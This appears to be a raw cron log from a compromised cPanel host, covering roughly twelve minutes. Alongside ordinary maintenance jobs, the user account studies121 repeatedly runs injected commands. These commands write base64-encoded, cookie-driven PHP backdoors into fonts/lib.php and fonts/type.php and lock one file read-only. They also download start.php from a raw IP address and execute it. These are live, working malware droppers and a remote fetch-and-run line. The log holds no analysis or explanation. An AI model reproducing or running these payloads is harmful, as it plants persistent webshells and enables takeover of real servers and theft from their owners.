Sep  2 21:55:01 ip-184-168-122-23 CROND[17681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:55:01 ip-184-168-122-23 CROND[17679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:55:01 ip-184-168-122-23 CROND[17686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:55:01 ip-184-168-122-23 CROND[17684]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:55:01 ip-184-168-122-23 CROND[17687]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:56:01 ip-184-168-122-23 CROND[17768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:56:02 ip-184-168-122-23 CROND[17770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:56:02 ip-184-168-122-23 CROND[17772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:56:02 ip-184-168-122-23 CROND[17771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:56:02 ip-184-168-122-23 CROND[17773]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:57:01 ip-184-168-122-23 CROND[17860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:57:01 ip-184-168-122-23 CROND[17863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:57:01 ip-184-168-122-23 CROND[17864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:57:01 ip-184-168-122-23 CROND[17862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:58:01 ip-184-168-122-23 CROND[18036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:58:01 ip-184-168-122-23 CROND[18037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:58:01 ip-184-168-122-23 CROND[18038]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:58:01 ip-184-168-122-23 CROND[18042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:58:01 ip-184-168-122-23 CROND[18045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:59:01 ip-184-168-122-23 CROND[18160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:59:01 ip-184-168-122-23 CROND[18162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:59:01 ip-184-168-122-23 CROND[18164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:59:01 ip-184-168-122-23 CROND[18163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:00:01 ip-184-168-122-23 CROND[18255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:00:01 ip-184-168-122-23 CROND[18256]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:00:01 ip-184-168-122-23 CROND[18260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:00:02 ip-184-168-122-23 CROND[18262]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 22:00:02 ip-184-168-122-23 CROND[18263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:00:02 ip-184-168-122-23 CROND[18264]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:00:02 ip-184-168-122-23 CROND[18267]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:00:02 ip-184-168-122-23 CROND[18268]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 22:00:02 ip-184-168-122-23 CROND[18272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:01:01 ip-184-168-122-23 CROND[18356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:01:01 ip-184-168-122-23 CROND[18358]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 22:01:01 ip-184-168-122-23 CROND[18361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:01:01 ip-184-168-122-23 CROND[18364]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 22:01:01 ip-184-168-122-23 CROND[18365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:01:01 ip-184-168-122-23 CROND[18366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18364]: starting 0anacron
Sep  2 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18379]: finished 0anacron
Sep  2 22:02:01 ip-184-168-122-23 CROND[18458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:02:01 ip-184-168-122-23 CROND[18461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:02:01 ip-184-168-122-23 CROND[18459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:02:01 ip-184-168-122-23 CROND[18460]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:02:01 ip-184-168-122-23 CROND[18462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:03:01 ip-184-168-122-23 CROND[18625]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:03:01 ip-184-168-122-23 CROND[18626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:03:01 ip-184-168-122-23 CROND[18627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:03:01 ip-184-168-122-23 CROND[18629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:04:01 ip-184-168-122-23 CROND[18716]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:04:01 ip-184-168-122-23 CROND[18719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:04:01 ip-184-168-122-23 CROND[18718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:04:01 ip-184-168-122-23 CROND[18720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:04:01 ip-184-168-122-23 CROND[18721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:05:01 ip-184-168-122-23 CROND[18811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:05:01 ip-184-168-122-23 CROND[18813]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:05:01 ip-184-168-122-23 CROND[18814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:05:01 ip-184-168-122-23 CROND[18816]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:05:01 ip-184-168-122-23 CROND[18817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:05:01 ip-184-168-122-23 CROND[18818]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 22:05:02 ip-184-168-122-23 CROND[18815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:06:01 ip-184-168-122-23 CROND[19263]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:06:01 ip-184-168-122-23 CROND[19265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:06:01 ip-184-168-122-23 CROND[19267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:06:01 ip-184-168-122-23 CROND[19268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:06:01 ip-184-168-122-23 CROND[19271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:07:01 ip-184-168-122-23 CROND[19350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:07:01 ip-184-168-122-23 CROND[19351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
